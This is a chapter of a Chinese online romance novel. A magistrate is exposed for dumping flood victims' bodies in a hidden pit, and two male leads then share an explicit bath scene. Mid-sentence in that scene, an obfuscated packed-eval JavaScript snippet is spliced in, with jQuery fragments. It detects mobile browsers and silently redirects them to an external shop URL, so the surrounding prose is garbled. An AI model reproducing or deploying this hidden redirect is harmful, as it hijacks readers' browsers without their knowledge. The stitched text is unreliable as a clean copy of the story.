文趣网 > 其他小说 > 妖孽侯爷训狗指南 > 85.藏痴缠
    县令府。

    “大人!大人!大事不好了!”钱管事连滚带爬地跑进韩大人的卧房,面色很是慌张。

    韩大人半躺在榻上,懒洋洋地睁开眼,张口接过小妾剥好,递来的葡萄,他眉头拧起,微有些不悦地看向钱管事,“何事慌慌张张的,这天也没塌下来,能出什么大事。”

    钱管事迅速将门阖上,敲着掌心,快步走到韩大人身旁,耳语了几句。

    只见韩大人原本懒怠的神色,逐渐变得僵白,他一下坐直身,猛得推开了小妾递来的茶杯,茶杯四碎,茶水溅湿了衣袍也浑然不在意。

    韩大人双手揪住了钱管事的衣襟,扯得用力过猛将人拉了个踉跄,“什么!他们发现尸坑了!那尸坑挖在山林深处,他们怎么找到的!不是说办得神不知,鬼不觉吗!”声音像是咬着牙吐出来的,急切又带着害怕和紧张。

    钱管事被扯得直不起身,手脚又发软,抖得厉害,便索性跪了下来,“老奴也不知道啊!大人,来报信地说咱们安排搬尸体的那四个人当场就被抓住了,哎呀都招了,这下可怎么办啊!”

    韩大人的手一下卸了力,垂在腿上,他咽了好几下,眼神忽闪无神,显然是呆愣住了。

    然而,还没来得及思索焦虑,房门便被敲响了。

    “韩大人是否在屋内,三殿下有请,还请移步。”

    韩大人瞬时心跳到嗓子眼,他和钱管事对视一眼,还没开口回应,门便被大力推开,砰得撞向两侧。

    韩大人被吓得一哆嗦,差点滑坐到地上。

    几个侍卫阔步走到韩大人面前,“韩大人,烦请快些起身,莫要让三殿下久等了。”

    韩大人眼神游移,扫到侍卫们把手移至佩刀处,佩刀与腰扣碰撞发出“噌噌”地金属声,他脖子一凉,颤巍巍地被钱管事扶起身,干干扯出一抹笑,“下官,哈哈,下官,这便去。”

    到了前厅,韩大人不用抬头,便能察觉出一股焦心的压抑之感,想来这一遭是不好脱身了。

    韩大人踟蹰着上前两步,躬身行了一礼,“下官见过三殿下,见过几位上官。”

    萧瑾舟拿起茶杯,斜开茶盖,轻轻吹了吹,而后噙起一抹讽笑,看着韩大人半有深意,半有调侃地道:“韩大人这腿伤好得真快,几日不见便健步如飞了。”

    韩大人浑身一颤,事出慌忙连腿上的布条都忘记缠上了,他抬起袖子擦了擦脸颊上的汗,含笑道:“下官生得壮实,且这几日走动不多,便好得快了些,哈哈……现如今已是大好了,多谢萧侯爷关心,咳咳……不知殿下与几位大人,此时招下官前来,是为何事啊……”

    “何事?为何事你会不知道?报信的人不该已经告诉你了吗。”景钰抬起眼帘,他冷冷看着韩大人,话语平静却带着压迫。

    报信?殿下怎会知道有人来报信。

    韩大人思绪百转,僵在原地,完全说不出话来,他满头的汗,顺着眉心,淅淅沥沥地汇到下巴上,再滴滴答答地往下落。

    魏君泽看着韩大人那样,心头嗤一句,“没出息。”

    他侧头示意了一下,魏廉便压着一个差役走上前,“主子,人带上来了。”

    魏君泽斜了一眼,“这是韩大人的人,给送到韩大人身边去。”

    “是!”魏廉应完声,便将那差役拖到韩大人身旁,往腿上狠踹了一脚,按跪在地上。

    那差役面容扭曲,大呼了一声,“啊——”

    魏廉嫌弃地又往那差役后脑勺上拍了一掌,“嘶——聒噪,把嘴闭上,殿下与大人面前不可喧哗,你吵谁呢!”

    那差役不敢再出声,捂着疼痛不已的腿,求救似的看向韩大人。

    韩大人腿一抖,好似那一脚也踹在了自己腿上,他刻意回避差役的眼神,恨恨一咬牙,猛得跪在地上,“殿下,下官实在不知殿下是何意,可是这差役做了什么错事,惹得殿下与诸位大人不快了?下官在此给殿下与诸位大人道个歉,是下官治下不严,下官必会好好反省,必不再犯……”

    景钰猛得拍案,“韩大人,事到如今,你还在这与本殿虚与委蛇,你当真不知本殿找你所为何事!”

    说着,景钰将一旁的小册子扔到韩大人跟前,“睁开你的眼睛,打开看看!”

    韩大人哆嗦着手,瑟缩着将眼前的册子翻开,只翻看了一页便抖如筛糠。

    萧瑾舟手指点着桌面,眼底一片薄凉,“虚报灾民死伤,失踪之数;偷挖坑洞,不当处置洪患后的百姓尸身;肆意堆叠,与蛇鼠牲畜尸首同置一处,露天曝晒,属侮辱尸身……”

    见韩大人捧着册子,不再翻看,萧瑾舟往椅背一靠,语气冷涩,“韩大人你怎么不再往后翻翻,后面还有李老三几个人的供词,什么时候找来的,要做什么,钱是谁给的,给的是银子还是散钱,里头记录地清清楚楚……呵,韩大人你真是好大的胆子啊——”

    冷冽的声音如山压在韩大人的背上,他扑扶在地,脸色煞白,牙齿不停打着颤,“殿下!殿下饶命!下官,下官是怕死伤之数过大,到时候报上去,坏了殿下的政绩,殿下初次赈灾,皇上必是寄予厚望,若是册录上伤亡之数少去大半,待他日回了玉京,报上御前,皇上必定龙颜大悦,大为称赞殿下……殿下,下官此举确有不妥,可也是一心为殿下考虑,为殿下的政绩考虑啊!求殿下明鉴!”

    “哼,为殿下考虑……”萧瑾舟嗤笑一声,“韩大人说得真是冠冕堂皇,你可知今日在那尸坑里,总共挖出了多少具尸体?”

    “七百六十八具。”

    “侍卫在周围还零散寻得了不少被野兽叼走啃食的遗骸,这些是寻得的,没寻得的估计还有不少。”萧瑾舟顿了一下,像是想到了什么又接着道:“哦,对了,那坑里头还有不少野兽牲畜的尸首,若是再单独计数,加上去怕是要过千。”

    “韩大人,这才三日便堆填了如此多的尸首,若是今日没被发现,待到日后怕是得垒成一座尸山,洪灾过后本就易发瘟疫,如今正值大暑,韩大人也是读书人,不是什么都不懂的傻子,这般处置尸身,其心可诛啊——”

    韩大人眼眶一睁,慌忙地把头磕得砰砰作响,“殿下,下官绝无此心啊!下官只是想向殿下讨个好!”

    “够了!”景钰打断韩大人的狡言哀求,“韩大人,本殿不是痴儿,不是你那些连夜赶出来的账本册录可以骗了去的,本殿之前不捅破只是还想看看你有什么后招,却没想到竟是这般恶毒的计谋,你是在拿大昭百姓的命来算计本殿!”

    景钰站起身,一步一步走到韩大人跟前,居高临下的看着他,眼底满是鄙夷与不屑,语气低沉,“韩大人,你真正想讨好的殿下是谁,本殿心里也清楚。”说着,景钰单膝蹲下身,微微前倾,凑到韩大人耳侧,“是远在玉京的那位吧——”

    明明是夏日,韩大人却如坠冰窖般鸡皮疙瘩起了一身,他浑身血液像停滞了一般,淤堵得厉害,四肢麻木,动弹不得,嘴唇青白得骇人,身体似是因为害怕痉挛了两下,而后两眼一翻,晕了过去。

    景钰淡淡扫了一眼,目光轻飘飘地掠过,而后站起身,转头回到座位上,对着一旁的侍卫吩咐道:“来人,摘掉他的官帽,收监看管,再派人好好搜查县令府,本殿要看看他到底还做了些什么。”

    一旁的侍卫高声应是,挥来几个人,拖着韩大人便走了。

    ***

    是夜,浴房内水雾缥缈,隔着一扇屏风,魏君泽正双臂舒展地支在浴桶两边,微微仰靠着头,闭目享着一时静谧。

    倏地,屏风后传来吱呀地开门声,魏君泽耳廓动了下,双拳攥起,眉宇紧蹙,待听清是那抹熟悉的脚步声后,身体又重新放松了下来。

    肩颈被一双纤长的手臂环住,魏君泽头又往后靠了些,与身后之人脸庞厮磨。

    萧瑾舟指尖浮过水,游移着抬起,将那水珠滴滴顺着指尖往魏君泽的胸口和肩上落,“这位公子可要人伺候沐浴?”声音低软还带着气儿,直往魏君泽耳朵里钻。

    魏君泽头顶一麻,仍闭着眼,声音带着些风流纨绔,“本公子说过沐浴不喜他人伺候,你小脸这般嫩,胆子确是大得很。”

    萧瑾舟抿着唇,哼哼笑了几声,而后侧过头,微微嘟起唇,在魏君泽耳廓,鬓角印下一个个瘙痒的吻。

    魏君泽的喉结上下滑动了几下,按捺不住的笑意从唇角扬至眉梢,声音带着些捉弄人的玩味,“这般投怀送抱,就这么喜欢小爷我?”

    水汽在萧瑾舟的睫毛上凝出了几滴小水珠,晶莹圆润,萧瑾舟勾着诱人的笑,将吻从耳畔延伸至脖颈和锁骨,“是啊,我倾慕公子,喜欢得紧,公子可否垂怜,疼疼我——”

    话语刚毕,魏君泽的手破出水面,一把抓住萧瑾舟的手,又在一瞬间侧过身,用另一只手捞住萧瑾舟的腰将人带进浴桶。

    薄衫衣摆如水墨划过半空。

    水花溅起,萧瑾舟湿了个透,薄衫贴在身上,透出如玉的肌肤,还有婷婷袅袅的曲线。

    萧瑾舟叹息一声,颤了颤睫毛,抬眼看着魏君泽,双眼像蒙了雾,又像盈了水,星星碎碎,湿润又惹人怜爱,“公子,我都湿了——”

    魏君泽把着萧瑾舟的腰,将人搂坐到腿上,抬手摩挲萧瑾舟的脸颊和嘴唇,动作满是肆意与张狂,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916845|202080||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    湿了便湿了,不是倾慕我吗,本公子允了,带你回去做我的正头娘子,可好——”

    四目相对藏着痴缠。

    萧瑾舟抵着水,双手攀着魏君泽的肩头坐稳,在那满含侵略与凶蛮的眼神下,抬手将自己的发带解开,又一件件将自己湿透的衣衫褪下,撩出水面,扔在地上。

    魏君泽呼吸急促起来,看得喉间干涩,气血上涌,萧瑾舟的身上还印着之前留下的红痕。

    萧瑾舟将肩膀沉入水中,像贴着石壁的游鱼般,扶靠在魏君泽的身上,而后微微仰起头,在魏君泽的下巴与喉结上各咬了一口。

    色欲撩人。

    魏君泽不是打坐的和尚,弯刀已起,他一把将萧瑾舟搂起,一起浮出水面,恨恨道:“真是妖精——”

    萧瑾舟手指摸着魏君泽的脸庞,眼底揉满了情,他软软地挂在魏君泽身上,痴痴地贴着那体温,道:“仆本恨人,卿须怜我——”

    ……

    一晌贪欢后,萧瑾舟无力的趴在床榻上,任魏君泽拿着布巾一缕一缕擦拭头发。

    魏君泽瞧着萧瑾舟那蔫叶般的样子,心头既是可怜又是好笑,手指撩起发丝时,掠过他颈根一抹嫣红,恶劣地故意道:“白日里你还道不让我碰来着,我都做好了食几日素的准备了,怎地晚上自己先沉不住气,扑我身上来了。”

    萧瑾舟微微侧过半张脸,眼帘懒散地垂着,呼吸间送出几个字,“怎么,你还不满意了?”

    魏君泽摸了摸萧瑾舟的头发,已是干的差不多了,便将布巾往旁边一扔,俯下身,半趴半搂着萧瑾舟,替他打扇,“哪不满意了,我哪哪都满意,满意极了——”

    两人的发丝缱绻的纠缠着,勾勾绕绕,混在一处。

    静了半晌,萧瑾舟转过身,定定看了魏君泽一会儿,而后缩着往他怀里钻。

    魏君泽宠溺的笑了声,“平日里都该嫌我身上热了,怎么今日还往怀里钻。”

    萧瑾舟攥着魏君泽的衣摆,声音闷闷的,沉沉的,“时序,我睡不着,我以为累了便能睡着了,可还是睡不着……”

    魏君泽敛下笑意,他在那声音里听出了低落与疲累,打扇的速度慢了一瞬,而后又恢复,“是白日看到的事,让你难受了。”

    萧瑾舟摇摇头,“不是,我在想何为官,怎样才是好官。”

    “我从小便无入仕的想法,家中兄长才学兼备,处事圆滑通达,连外祖父也说兄长天生是个走仕途的好苗子,既如此倒也给我行了方便,长辈不曾对我在学业上有过苛求,往后大了,任我想四方游历也罢,想寻一乡野偷闲度日也罢,由心便是。”

    萧瑾舟缓缓抬起头,含笑盯着床幔顶上的绣花蝴蝶出神,“但世事难料,终是我顶替兄长走上了他的路。”

    魏君泽看着那笑刺眼,更宁愿他此时不要笑,他轻轻捋着萧瑾舟压乱的头发,“各路有各路的风景,若是你不走这条路,说不定我们还遇不上呢……”

    萧瑾舟闭上眼,任魏君泽轻抚着鬓发,“时序,外祖父要我做个好官,你说何为好官?”

    魏君泽道:“于文官而言,清廉秉直,直言不讳,为君主谋朝廷之兴,为百姓谋利民之道,为家国谋扩疆之图;于武将而言,驱退反寇,护拥家国,战死无悔。”

    萧瑾舟缓缓开口,清凌凌的声音透着股嘲讽,“可这般好官譬如白世伯,譬如先帝时的徐清林,譬如……我父兄,皆没有好下场,这世道是不是容不下好官了。”

    魏君泽的手穿过颈窝,搂住萧瑾舟,声音温柔沉着,“并非是这世道容不下好官,是如今的朝堂容不下好官,上不正,下必歪,只敢把野心与忌惮落于臣子之上,听信好话谗言,贪慕旧日繁华,譬如种蔬果,譬如养花草,坏了根的东西,再好的水土也救不了。”

    萧瑾舟茫然地看着魏君泽,“那我该如何做?”

    魏君泽凑上前吻了吻萧瑾舟的眼睛,“便像现在这般就很好。”

    萧瑾舟呢喃着重复,“现在……这样……”

    “初心易有,本心难守。”

    寂夜里,外头蝉鸣阵阵,魏君泽挪上前,与萧瑾舟额头相抵,“我的生春便如现在这般,慎终如始,不愧不作就足够了。”

    此时,华觉寺中一顶小帐篷里,一妇人辗转难眠,不停搔挠着脖颈,四肢,只觉腹中作呕难忍,以为吃坏了肚子,便拖着身子往竹林里跑。

    过了半晌,一起夜的汉子进竹林,抬脚碰到个人还被吓了一大跳,回头就往帐篷处找人帮忙,待举着火把再次返回时,才见着那妇人,浑身长满了浮肿的红疹,口边还残留着呕吐的秽物,已是不省人事。